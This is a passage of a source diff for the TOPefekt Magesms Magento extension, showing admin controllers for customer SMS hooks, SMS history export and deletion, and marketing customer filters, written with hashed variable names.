$ib621bf9fa69ea2cdc5a9bc8679d915479caec16a[$i42ee48f418943c9662de0976069476c7dc8f620d->getName()] = $i42ee48f418943c9662de0976069476c7dc8f620d; $i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc->setHooks($ib621bf9fa69ea2cdc5a9bc8679d915479caec16a); } } } } $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setGroups($this->v2b483c223d472d1fb22c9823dcc35f84765b2c06); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); return $this; } public function saveunicodeAction() { $i7137e40370cf1c5ccf937060891613788203e2d6 = $this->getRequest()->getParam('mutation'); if ($i7137e40370cf1c5ccf937060891613788203e2d6) { $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd = Mage::getSingleton('magesms/hooks_unicode') ->getCollection() ->addFilter('area', $i7137e40370cf1c5ccf937060891613788203e2d6) ->addFilter('type', 'customer') ->getFirstItem(); if (!count($ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->getData())) { $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd = Mage::getSingleton('magesms/hooks_unicode'); $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->setArea($i7137e40370cf1c5ccf937060891613788203e2d6); $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->setType('customer'); $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->setUnicode($this->getRequest()->getParam('unicode' , 0)); } else { $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->setUnicode($this->getRequest()->getParam('unicode' , 0)); } $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->save(); Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('magesms')->__('Unicode was saved.')); } $this->_redirect('*/*/', array('mutation' => $i7137e40370cf1c5ccf937060891613788203e2d6)); return $this; } public function savehookAction() { $i7137e40370cf1c5ccf937060891613788203e2d6 = $this->getRequest()->getParam('mutation', 'default'); $i30f20aafde612a957f7f966cb5b85e35782bc88a = $this->getRequest()->getParam('type'); $i2bd9743336318d0e14be0600c9129730279505dd = $this->getRequest()->getParam('name'); $id2202a8a92e3022b2b00717b92bc918373dc2edc = $this->getRequest()->getParam('plugin'); $i24273814df383b4a6926acc1db1a788b12f5a411 = $this->getRequest()->getParam('text' , ''); if ($i30f20aafde612a957f7f966cb5b85e35782bc88a && $i2bd9743336318d0e14be0600c9129730279505dd && $i24273814df383b4a6926acc1db1a788b12f5a411) { if ($id2202a8a92e3022b2b00717b92bc918373dc2edc) { Mage::dispatchEvent('topefekt_magesms_customersms_save'); } else { $i42ee48f418943c9662de0976069476c7dc8f620d = Mage::getSingleton('magesms/hooks_'.$i30f20aafde612a957f7f966cb5b85e35782bc88a) ->getCollection() ->addFilter('name', $i2bd9743336318d0e14be0600c9129730279505dd) ->addFilter('mutation', $i7137e40370cf1c5ccf937060891613788203e2d6) ->getFirstItem(); if (!count($i42ee48f418943c9662de0976069476c7dc8f620d->getData())) { $i42ee48f418943c9662de0976069476c7dc8f620d = Mage::getSingleton('magesms/hooks_'.$i30f20aafde612a957f7f966cb5b85e35782bc88a); $i42ee48f418943c9662de0976069476c7dc8f620d->setMutation($i7137e40370cf1c5ccf937060891613788203e2d6); $i42ee48f418943c9662de0976069476c7dc8f620d->setName($i2bd9743336318d0e14be0600c9129730279505dd); } $i42ee48f418943c9662de0976069476c7dc8f620d->setActive($this->getRequest()->getParam('active' , 0)); $i42ee48f418943c9662de0976069476c7dc8f620d->setSmstext($i24273814df383b4a6926acc1db1a788b12f5a411); $i42ee48f418943c9662de0976069476c7dc8f620d->save(); } Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('magesms')->__('Text of SMS was saved.')); } $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a = array('_fragment' => $i2bd9743336318d0e14be0600c9129730279505dd); if ($i7137e40370cf1c5ccf937060891613788203e2d6 != 'default') $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a += array('mutation' => $i7137e40370cf1c5ccf937060891613788203e2d6); $this->_redirect('*/*/', $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a); return $this; } protected function _initAction() { parent::_initAction(); $this->_setActiveMenu('magesms/customersms') ->_title(Mage::helper('magesms')->__('Customer SMS')) ; return $this; } protected function _isAllowed() { return Mage::getSingleton('admin/session')->isAllowed('magesms/settings/customersms'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ class Topefekt_Magesms_Adminhtml_Magesms_CustomersmsController extends Topefekt_Magesms_Controller_Action { private $v2b483c223d472d1fb22c9823dcc35f84765b2c06 = array(); public function _construct() { $this->v2b483c223d472d1fb22c9823dcc35f84765b2c06 = new Varien_Data_Collection(); $this->v2b483c223d472d1fb22c9823dcc35f84765b2c06->addItem(new Varien_Object( array( 'group' => 'order_status', 'name' => 'Order status', 'icon' => 'magesms/AdminOrders.gif' ) ))->addItem(new Varien_Object( array( 'group' => 'order', 'name' => 'Order', 'icon' => 'magesms/AdminOrders.gif' ) ))->addItem(new Varien_Object( array( 'group' => 'account', 'name' => 'Account', 'icon' => 'magesms/AdminCustomers.gif' ) )); parent::_construct(); } public function indexAction() { $this->_initAction(); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here', array('template' => 'topefekt/magesms/customersms.phtml') ); $ie54fcd5470bd7f31f709089290e33bb03e655c25 = Mage::helper('magesms')->getMutations(); $i7137e40370cf1c5ccf937060891613788203e2d6 = $this->getRequest()->getParam('mutation'); if ($i7137e40370cf1c5ccf937060891613788203e2d6 && !in_array($i7137e40370cf1c5ccf937060891613788203e2d6, array_keys($ie54fcd5470bd7f31f709089290e33bb03e655c25))) $i7137e40370cf1c5ccf937060891613788203e2d6 = ''; if (isset($ie54fcd5470bd7f31f709089290e33bb03e655c25[$i7137e40370cf1c5ccf937060891613788203e2d6])) { $ie54fcd5470bd7f31f709089290e33bb03e655c25[$i7137e40370cf1c5ccf937060891613788203e2d6]['selected'] = 1; $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setMutationLabel($ie54fcd5470bd7f31f709089290e33bb03e655c25[$i7137e40370cf1c5ccf937060891613788203e2d6]['label']); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setMutationValue($ie54fcd5470bd7f31f709089290e33bb03e655c25[$i7137e40370cf1c5ccf937060891613788203e2d6]['value']); } else { foreach ($ie54fcd5470bd7f31f709089290e33bb03e655c25 as &$i593f9fb6306ab4cdb862f1ef6769504d63647c90) { $i7137e40370cf1c5ccf937060891613788203e2d6 = $i593f9fb6306ab4cdb862f1ef6769504d63647c90['value']; $i593f9fb6306ab4cdb862f1ef6769504d63647c90['selected'] = 1; $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setMutationLabel($i593f9fb6306ab4cdb862f1ef6769504d63647c90['label']); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setMutationValue($i593f9fb6306ab4cdb862f1ef6769504d63647c90['value']); break; } } $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setMutations($ie54fcd5470bd7f31f709089290e33bb03e655c25); foreach ($this->v2b483c223d472d1fb22c9823dcc35f84765b2c06 as $i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc) { $i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc->setHooks(Mage::helper('magesms')->getHooks($i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc['group'], 'customers', $i7137e40370cf1c5ccf937060891613788203e2d6)); } $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a = new Varien_Data_Collection(); Mage::dispatchEvent('topefekt_magesms_customersms_groups', array('groups' => $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a)); foreach ($ia8a35a47a8e61218e15d1a33dac64bdc2449c01a as $i4abcdb69150d2b99477ddace90c2020fb244c4f6) { if ($i4abcdb69150d2b99477ddace90c2020fb244c4f6->getGroup() && !$this->v2b483c223d472d1fb22c9823dcc35f84765b2c06->getItemByColumnValue('group', $i4abcdb69150d2b99477ddace90c2020fb244c4f6->getGroup())) { $this->v2b483c223d472d1fb22c9823dcc35f84765b2c06->addItem($i4abcdb69150d2b99477ddace90c2020fb244c4f6); } else { foreach($i4abcdb69150d2b99477ddace90c2020fb244c4f6->getHooks() as $i42ee48f418943c9662de0976069476c7dc8f620d) { if ($i42ee48f418943c9662de0976069476c7dc8f620d->getName() && ($i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc = $this->v2b483c223d472d1fb22c9823dcc35f84765b2c06->getItemByColumnValue('group', $i42ee48f418943c9662de0976069476c7dc8f620d->getGroup()))) { $ib621bf9fa69ea2cdc5a9bc8679d915479caec16a = $i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc->getHooks(); $ib621bf9fa69ea2cdc5a9bc8679d915479caec16a[$i42ee48f418943c9662de0976069476c7dc8f620d->getName()] = $i42ee48f418943c9662de0976069476c7dc8f620d; $i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc->setHooks($ib621bf9fa69ea2cdc5a9bc8679d915479caec16a); } } } } $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setGroups($this->v2b483c223d472d1fb22c9823dcc35f84765b2c06); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); return $this; } public function saveunicodeAction() { $i7137e40370cf1c5ccf937060891613788203e2d6 = $this->getRequest()->getParam('mutation'); if ($i7137e40370cf1c5ccf937060891613788203e2d6) { $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd = Mage::getSingleton('magesms/hooks_unicode') ->getCollection() ->addFilter('area', $i7137e40370cf1c5ccf937060891613788203e2d6) ->addFilter('type', 'customer') ->getFirstItem(); if (!count($ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->getData())) { $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd = Mage::getSingleton('magesms/hooks_unicode'); $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->setArea($i7137e40370cf1c5ccf937060891613788203e2d6); $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->setType('customer'); $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->setUnicode($this->getRequest()->getParam('unicode' , 0)); } else { $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->setUnicode($this->getRequest()->getParam('unicode' , 0)); } $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->save(); Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('magesms')->__('Unicode was saved.')); } $this->_redirect('*/*/', array('mutation' => $i7137e40370cf1c5ccf937060891613788203e2d6)); return $this; } public function savehookAction() { $i7137e40370cf1c5ccf937060891613788203e2d6 = $this->getRequest()->getParam('mutation', 'default'); $i30f20aafde612a957f7f966cb5b85e35782bc88a = $this->getRequest()->getParam('type'); $i2bd9743336318d0e14be0600c9129730279505dd = $this->getRequest()->getParam('name'); $id2202a8a92e3022b2b00717b92bc918373dc2edc = $this->getRequest()->getParam('plugin'); $i24273814df383b4a6926acc1db1a788b12f5a411 = $this->getRequest()->getParam('text' , ''); if ($i30f20aafde612a957f7f966cb5b85e35782bc88a && $i2bd9743336318d0e14be0600c9129730279505dd && $i24273814df383b4a6926acc1db1a788b12f5a411) { if ($id2202a8a92e3022b2b00717b92bc918373dc2edc) { Mage::dispatchEvent('topefekt_magesms_customersms_save'); } else { $i42ee48f418943c9662de0976069476c7dc8f620d = Mage::getSingleton('magesms/hooks_'.$i30f20aafde612a957f7f966cb5b85e35782bc88a) ->getCollection() ->addFilter('name', $i2bd9743336318d0e14be0600c9129730279505dd) ->addFilter('mutation', $i7137e40370cf1c5ccf937060891613788203e2d6) ->getFirstItem(); if (!count($i42ee48f418943c9662de0976069476c7dc8f620d->getData())) { $i42ee48f418943c9662de0976069476c7dc8f620d = Mage::getSingleton('magesms/hooks_'.$i30f20aafde612a957f7f966cb5b85e35782bc88a); $i42ee48f418943c9662de0976069476c7dc8f620d->setMutation($i7137e40370cf1c5ccf937060891613788203e2d6); $i42ee48f418943c9662de0976069476c7dc8f620d->setName($i2bd9743336318d0e14be0600c9129730279505dd); } $i42ee48f418943c9662de0976069476c7dc8f620d->setActive($this->getRequest()->getParam('active' , 0)); $i42ee48f418943c9662de0976069476c7dc8f620d->setSmstext($i24273814df383b4a6926acc1db1a788b12f5a411); $i42ee48f418943c9662de0976069476c7dc8f620d->save(); } Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('magesms')->__('Text of SMS was saved.')); } $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a = array('_fragment' => $i2bd9743336318d0e14be0600c9129730279505dd); if ($i7137e40370cf1c5ccf937060891613788203e2d6 != 'default') $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a += array('mutation' => $i7137e40370cf1c5ccf937060891613788203e2d6); $this->_redirect('*/*/', $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a); return $this; } protected function _initAction() { parent::_initAction(); $this->_setActiveMenu('magesms/customersms') ->_title(Mage::helper('magesms')->__('Customer SMS')) ; return $this; } protected function _isAllowed() { return Mage::getSingleton('admin/session')->isAllowed('magesms/settings/customersms'); } }
app/code/community/Topefekt/Magesms/controllers/Adminhtml/Magesms/HistoryController.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- class Topefekt_Magesms_Adminhtml_Magesms_HistoryController extends Topefekt_Magesms_Controller_Action { public function indexAction() { $this->_initAction(); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here', array('template' => 'topefekt/magesms/history.phtml') ); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); return $this; } public function filterAction() { $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a = $this->getRequest()->getParams(); unset($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a['form_key']); $this->_redirect('*/*/', $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a); } public function deleteAction() { $i7af9c0bf5c8f0878a0f7c5463d75397834eda9fa = Mage::getSingleton('core/resource')->getTableName('magesms/smshistory'); Mage::getSingleton('core/resource')->getConnection('core_write')->query("TRUNCATE TABLE `$i7af9c0bf5c8f0878a0f7c5463d75397834eda9fa`"); Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('magesms')->__('SMS history was deleted.')); $this->_redirect('*/*/'); } protected function _initAction() { parent::_initAction(); $this->_setActiveMenu('magesms/history') ->_title(Mage::helper('magesms')->__('SMS History')) ; return $this; } protected function _isAllowed() { return Mage::getSingleton('admin/session')->isAllowed('magesms/history'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ class Topefekt_Magesms_Adminhtml_Magesms_HistoryController extends Topefekt_Magesms_Controller_Action { public function indexAction() { $this->_initAction(); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here', array('template' => 'topefekt/magesms/history.phtml') ); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); return $this; } public function filterAction() { $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a = $this->getRequest()->getParams(); unset($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a['form_key']); $this->_redirect('*/*/', $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a); } public function deleteAction() { $i7af9c0bf5c8f0878a0f7c5463d75397834eda9fa = Mage::getSingleton('core/resource')->getTableName('magesms_smshistory'); Mage::getSingleton('core/resource')->getConnection('core_write')->query("TRUNCATE TABLE `$i7af9c0bf5c8f0878a0f7c5463d75397834eda9fa`"); Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('magesms')->__('SMS history was deleted.')); $this->_redirect('*/*/'); } public function exportCsvAction() { $i3ba0e99f358e315835fe8aca63713b157cd07b3f = Mage::getSingleton('core/resource')->getConnection('core_read'); $i7af9c0bf5c8f0878a0f7c5463d75397834eda9fa = $i3ba0e99f358e315835fe8aca63713b157cd07b3f->getTableName('magesms_smshistory'); $i7fb1970287c90ac449c81c05360a581fcdd5a6af = $i3ba0e99f358e315835fe8aca63713b157cd07b3f->describeTable($i7af9c0bf5c8f0878a0f7c5463d75397834eda9fa); $i25f6ca5af884f5fb6975c45037ba66d5f6838523 = ''; $ia61712c27ea241bd7a543dc2b02ea572274d0322 = array(); foreach ($i7fb1970287c90ac449c81c05360a581fcdd5a6af as $i8f64ce2d7476196ba335784d391aa0427bb41857=>$ia8a35a47a8e61218e15d1a33dac64bdc2449c01a) { $ia61712c27ea241bd7a543dc2b02ea572274d0322[] = '"'.$i8f64ce2d7476196ba335784d391aa0427bb41857.'"'; } $i25f6ca5af884f5fb6975c45037ba66d5f6838523.= implode(',', $ia61712c27ea241bd7a543dc2b02ea572274d0322)."\n"; $i70f8c28e8955b2f1f7dc0e997c564e780d249bea = Mage::getModel('magesms/smshistory')->getCollection(); foreach ($i70f8c28e8955b2f1f7dc0e997c564e780d249bea as $iff7e46827cbb6547116c592bf800f4687428abf9) { $ia61712c27ea241bd7a543dc2b02ea572274d0322 = array(); foreach ($iff7e46827cbb6547116c592bf800f4687428abf9->getData() as $i8f64ce2d7476196ba335784d391aa0427bb41857) { $ia61712c27ea241bd7a543dc2b02ea572274d0322[] = '"' . str_replace(array('"', '\\', "\n", "\r", "\n\r", "\r\n"), array('""', '\\\\', ' ', ' ', ' ', ' '), $i8f64ce2d7476196ba335784d391aa0427bb41857) . '"'; } $i25f6ca5af884f5fb6975c45037ba66d5f6838523.= implode(',', $ia61712c27ea241bd7a543dc2b02ea572274d0322)."\n"; } header('Content-Type: text/csv; charset=UTF-8'); header('Content-Disposition: attachment; filename="smshistory.csv'); die($i25f6ca5af884f5fb6975c45037ba66d5f6838523); } protected function _initAction() { parent::_initAction(); $this->_setActiveMenu('magesms/history') ->_title(Mage::helper('magesms')->__('SMS History')) ; return $this; } protected function _isAllowed() { return Mage::getSingleton('admin/session')->isAllowed('magesms/history'); } }
app/code/community/Topefekt/Magesms/controllers/Adminhtml/Magesms/MarketingController.php CHANGED
@@ -10,10 +10,10 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- class Topefekt_Magesms_Adminhtml_Magesms_MarketingController extends Topefekt_Magesms_Controller_Template_Action { private $vdc6442a8b0624835ef0da7b7fcc0ac1da4d6d2da = array('type', 'country', 'group', 'gender', 'newsletter', 'website', 'firstname', 'lastname', 'city', 'register', 'birthday', 'birthdayall', 'orderssum', 'product'); protected $_filters; protected $_collection; private $v148194b5b9cc653ce2e35e9709e441dc6fd4123a = array(); public function preDispatch() { parent::preDispatch(); $ia309f32db02d9de4490b0dcce975d0ccbce2c215 = Mage::helper('adminhtml')->prepareFilterString($this->getRequest()->getParam('sms')); $ia309f32db02d9de4490b0dcce975d0ccbce2c215 = $this->_filterDates($ia309f32db02d9de4490b0dcce975d0ccbce2c215, array('datumodesl')); $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a = new Varien_Object(); foreach ($ia309f32db02d9de4490b0dcce975d0ccbce2c215 as $i670253c23c6fcba76bc4256a88fdd8fbc1041039 => $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { if (!empty($if2eee0665f163a28f4adcfe84e3fc666bf1bcd89) || is_numeric($if2eee0665f163a28f4adcfe84e3fc666bf1bcd89)) { $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a->setData($i670253c23c6fcba76bc4256a88fdd8fbc1041039, $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89); } } $this->_smsData = $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a; return $this; return $this; } private function f6d43ff809a46f71c1e634564f2b37e20a99bbb9c() { $this->_filters = Mage::getModel('magesms/marketing_filter_collection'); $this->_filters->addFilters($this->vdc6442a8b0624835ef0da7b7fcc0ac1da4d6d2da); Mage::register('magesms_marketing_filters', $this->_filters, true); $this->_collection = $this->_getCollection(); $this->_filters->setCollection($this->_collection); $this->_filters->setFilters($this->_collection); Mage::register('magesms_marketing_collection', $this->_collection, true); } public function indexAction() { $this->_initAction(); $this->f6d43ff809a46f71c1e634564f2b37e20a99bbb9c(); $i5509ac707290a86add15ab0ce4da982d395f4c4f = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here', array('template' => 'topefekt/magesms/marketing.phtml') ); $i5509ac707290a86add15ab0ce4da982d395f4c4f->setSmsData($this->_smsData ? $this->_smsData : $this->getRequest()->getParams()); $i5509ac707290a86add15ab0ce4da982d395f4c4f->setFilterData($this->_filterData); $i7d411c0cc32cdb65ec82b9e8d79aa996946f553842c5963b49dec2d3a886ec5045e3b8e035c239f = '{customer_firstname}, {customer_lastname}, {customer_email}, {customer_phone}, {shop_name}, {shop_domain}, {shop_email}, {shop_phone}'; $i1ec93d6cdf7202ea32d00997e9d5b5a68e2df3bc = '{coupon_name}, {coupon_code}, {coupon_description}, {coupon_reduction_percent}, {coupon_reduction_amount}, {coupon_reduction_currency}, {coupon_date_start}, {coupon_date_end}, {coupon_quantity}'; $i5509ac707290a86add15ab0ce4da982d395f4c4f->setNotice($i7d411c0cc32cdb65ec82b9e8d79aa996946f553842c5963b49dec2d3a886ec5045e3b8e035c239f); $i5509ac707290a86add15ab0ce4da982d395f4c4f->setCouponsNotice($i1ec93d6cdf7202ea32d00997e9d5b5a68e2df3bc); $i5509ac707290a86add15ab0ce4da982d395f4c4f->setTranslate(Mage::helper('magesms')->hookVariablesJS($i7d411c0cc32cdb65ec82b9e8d79aa996946f553842c5963b49dec2d3a886ec5045e3b8e035c239f.', '.$i1ec93d6cdf7202ea32d00997e9d5b5a68e2df3bc)); $i5509ac707290a86add15ab0ce4da982d395f4c4f->setCollection($this->_collection); $i3e3a0f2ae6a0c8837eef43b5d93ce2acef452442 = Mage::getModel('salesrule/rule')->getCollection() ->addFieldToFilter('is_active', 1) ->addFieldToFilter('coupon_type', Mage_SalesRule_Model_Rule::COUPON_TYPE_SPECIFIC); $ic6e86aba1bc36abbc0265f7e37437aa716c170c0 = array(array('rule_id' => '', 'name' => '- '.Mage::helper('magesms')->__('Please Select').' -')); $ic6e86aba1bc36abbc0265f7e37437aa716c170c0 = array_merge($ic6e86aba1bc36abbc0265f7e37437aa716c170c0, $i3e3a0f2ae6a0c8837eef43b5d93ce2acef452442->getData()); $i5509ac707290a86add15ab0ce4da982d395f4c4f->setCoupons($ic6e86aba1bc36abbc0265f7e37437aa716c170c0); $this->getLayout()->getBlock('content')->append($i5509ac707290a86add15ab0ce4da982d395f4c4f); $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a = $this->getLayout()->createBlock('magesms/marketing_form'); $this->getLayout()->getBlock('content')->append($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a); $i21e55df616c305955791876c1eb4da83448beba2 = $this->_getBlockCustomer(); $this->getLayout()->getBlock('content')->append($i21e55df616c305955791876c1eb4da83448beba2); $i2ca8461421e371a2dc8ff5b5c9a248f5fb0a6dbc = $this->_getBlockDeleted(); $this->getLayout()->getBlock('content')->append($i2ca8461421e371a2dc8ff5b5c9a248f5fb0a6dbc); $this->renderLayout(); return $this; } public function filterAction() { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e = new Varien_Object(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(false); if ($this->getRequest()->getParams()) { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setType('marketing'); $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2 = $this->getRequest(); if ($i1507c94b68f51b22087227858337782550edf618 = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('action')) { try { switch ($i1507c94b68f51b22087227858337782550edf618) { case 'save': $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml($this->_popup()); break; case 'load': $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml($this->_popup(false)); break; case 'saveFilter': if ($this->getRequest()->isPost()) { $this->f6d43ff809a46f71c1e634564f2b37e20a99bbb9c(); $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a = Mage::getModel('magesms/marketing_filter'); $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->setData(array( 'name' => $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('saveName'), 'filter' => $this->_filters->toSerialize(), 'date' => date('Y-m-d H:i:s'), )); $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->save(); } break; case 'remove': if ($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('id')) { $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a = Mage::getModel('magesms/marketing_filter'); $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->load($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538); $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->delete(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml($this->_popup(false)); } break; case 'restore': if ($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('id')) { $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a = Mage::getModel('magesms/marketing_filter'); if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->load($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538)) { $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 = Mage::getModel('magesms/marketing_filter_collection'); $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2->fromSerialize($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getFilter()); $this->f6d43ff809a46f71c1e634564f2b37e20a99bbb9c(); $i21e55df616c305955791876c1eb4da83448beba2 = $this->_getBlockCustomer(); $i9e86252a333eb6c832bb895a8d1690c48b2ed3fd = $this->_getBlockDeleted(); $i1791b2d1f89bb2bd83b34046f59125af207713db = $this->getLayout()->createBlock('magesms/marketing_form'); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml( array( 'appliedFilters' => $i1791b2d1f89bb2bd83b34046f59125af207713db->getHtmlFilters(), 'customers' => $i21e55df616c305955791876c1eb4da83448beba2->toHtml(), 'deleted' => $i9e86252a333eb6c832bb895a8d1690c48b2ed3fd->toHtml(), 'count' => $this->_collection->count() )); } } break; case 'loadFilter': if ($i2bd9743336318d0e14be0600c9129730279505dd = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('name')) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a = Mage::getModel('magesms/marketing_filter_'.$i2bd9743336318d0e14be0600c9129730279505dd)) { $i1791b2d1f89bb2bd83b34046f59125af207713db = new Varien_Data_Form(); switch ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->filter['type']) { case 'select': $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('filter', 'select', array( 'name' => 'filter', 'values' => $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValues(), )); break; case 'input': $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('filter', 'text', array( 'name' => 'filter', )); break; case 'datetime': $i8114d84b871449f246242a4433e364f848daff0c = array(); $i03474abc9cad4f5c29a2f0bca70a29051a128bc9 = 'Calendar.setup({
17
  inputField: "%s",
18
  ifFormat: "%s",
19
  showsTime: true,
@@ -27,7 +27,7 @@
27
  button: "%s_trig",
28
  align: "Bl",
29
  singleClick : true
30
- });'; $i5e2f8ae4963934ca8fbc2fff6103b6356dd52c78 = Mage::app()->getLocale()->getDateFormat(Mage_Core_Model_Locale::FORMAT_TYPE_MEDIUM); $i376a6873d4104d44a8d8f0acacfc41b40105e11f = Varien_Date::convertZendToStrFtime($i5e2f8ae4963934ca8fbc2fff6103b6356dd52c78, true, true); $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('filter1', 'date', array( 'name' => 'filter[]', 'format' => $i5e2f8ae4963934ca8fbc2fff6103b6356dd52c78, 'value' => Mage::app()->getLocale()->date()->toString(), 'image' => Mage::getDesign()->getSkinUrl('images/grid-cal.gif'), )); $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('note', 'note', array( 'text' => Mage::helper('magesms')->__('to: '), )); $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('filter2', 'date', array( 'name' => 'filter[]', 'format' => $i5e2f8ae4963934ca8fbc2fff6103b6356dd52c78, 'value' => Mage::app()->getLocale()->date()->toString(), 'image' => Mage::getDesign()->getSkinUrl('images/grid-cal.gif'), )); $i8114d84b871449f246242a4433e364f848daff0c[] = sprintf($i03474abc9cad4f5c29a2f0bca70a29051a128bc9, 'filter1', $i376a6873d4104d44a8d8f0acacfc41b40105e11f, 'filter1'); $i8114d84b871449f246242a4433e364f848daff0c[] = 